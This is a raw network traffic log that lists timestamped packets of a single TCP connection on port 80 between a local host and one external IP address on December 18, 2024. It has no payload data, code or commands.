Dec 18, 2024 14:07:44.143965960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.144000053 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.144547939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.144562006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.144612074 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.144659042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.144673109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.144696951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.144710064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.145445108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.145498991 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.145525932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.145554066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.145586014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.145593882 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.146291971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.146337986 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.146361113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.146395922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.146435976 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.147160053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.147171974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.147209883 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.147253036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.147275925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.147308111 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.148111105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.148124933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.148160934 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.148169994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.148183107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.148216963 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.148935080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.148948908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.148989916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.149394989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.149418116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.149451017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.149458885 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.149471045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.149507999 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.150167942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.150180101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.150219917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.150229931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.150242090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.150275946 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.151087999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.151861906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.151880980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.151901960 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.151915073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.151947021 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.151963949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.151976109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.151988029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.151999950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.152007103 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.152018070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.152043104 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.152892113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.152906895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.152930975 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.152941942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.152954102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.152965069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.152973890 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.152988911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.153001070 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.153006077 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.153018951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.153079987 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.153934956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.153948069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.153960943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.153985977 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.153996944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.154006958 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.154015064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.154027939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.154038906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.154052019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.154061079 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.154078960 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.154742956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.154756069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.154767036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.154777050 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.154808998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.157761097 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.157773018 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.157785892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.157798052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.157810926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.157818079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.157845974 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.158787012 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.158799887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.158847094 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.158871889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.159024954 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.159435034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.159447908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.159492016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.159663916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.159677029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.159710884 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.160145998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.160159111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.160208941 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.160542011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.160554886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.160595894 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.160605907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.160675049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.160687923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.160710096 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.161367893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.161380053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.161406994 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.161422968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.161436081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.161458969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.162240982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.162255049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.162281990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.162307024 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.162318945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.162341118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.163067102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.163079977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.163105011 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.163136005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.163146973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.163170099 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.163950920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.163992882 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.164009094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.164057016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.164068937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.164093971 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.165000916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.165014029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.165038109 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.165069103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.165106058 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.165688992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.165725946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.165832043 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.166035891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.166084051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.166100025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.166130066 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.166169882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.166213036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.166979074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.167015076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.167027950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.167058945 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.167798996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.167812109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.167836905 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.167861938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.167876005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.167900085 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.168685913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.168699026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.168723106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.168749094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.168761015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.168785095 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.169483900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.169497013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.169528961 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.169539928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.169579029 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.169596910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.169636011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.169676065 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.170373917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.170406103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.170414925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.170499086 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.171201944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.171247005 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.171267033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.171627998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.171639919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.171667099 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.171701908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.171716928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.171740055 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.172594070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.172607899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.172631025 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.172662020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.172673941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.172712088 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.173424006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.173438072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.173470020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.173489094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.173502922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.173526049 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.174305916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.174318075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.174344063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.174364090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.174376965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.174401999 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.175117016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.175168037 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.178184986 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.178196907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.178209066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.178215981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.178257942 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.178303957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.178317070 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.178369045 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.179233074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.179245949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.179289103 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.248266935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.248467922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.248523951 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.248796940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.248868942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.248914957 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.249506950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.249545097 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.249591112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.250397921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.250515938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.250571966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.251372099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.251430988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.251476049 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.251904011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.252096891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.252154112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.252649069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.252794981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.252840996 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.253606081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.253618956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.253654003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.254348993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.254362106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.254404068 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.255227089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.255354881 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.255402088 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.256176949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.256190062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.256227970 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.256757975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.256900072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.256946087 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.258183956 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.258311033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.258358955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.258599043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.258687019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.258729935 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.259278059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.259371996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.259418964 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.260090113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.260147095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.260195971 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.261084080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.261096954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.261133909 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.261981964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.262029886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.262077093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.262787104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.263066053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.263109922 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.263704062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.263804913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.263854980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.264317989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.264408112 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.264455080 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.265072107 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.265109062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.265157938 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.265885115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.265897036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.265943050 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.266820908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.266836882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.266877890 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.267462015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.267599106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.267643929 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.268312931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.268429041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.268471003 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.269109011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.269371033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.269423962 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.270165920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.270205975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.270247936 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.271147966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.271194935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.271249056 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.271639109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.271850109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.271895885 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.272573948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.272584915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.272635937 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.273382902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.273396969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.273432016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.274115086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.274152994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.274203062 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.274930000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.275006056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.275048971 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.275698900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.275810957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.275851011 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.276571035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.276745081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.276792049 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.277426958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.277621031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.277667046 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.278285980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.278569937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.278625965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.279082060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.279233932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.279277086 CET	49707	80	192.168.2.8	176.113.115.178
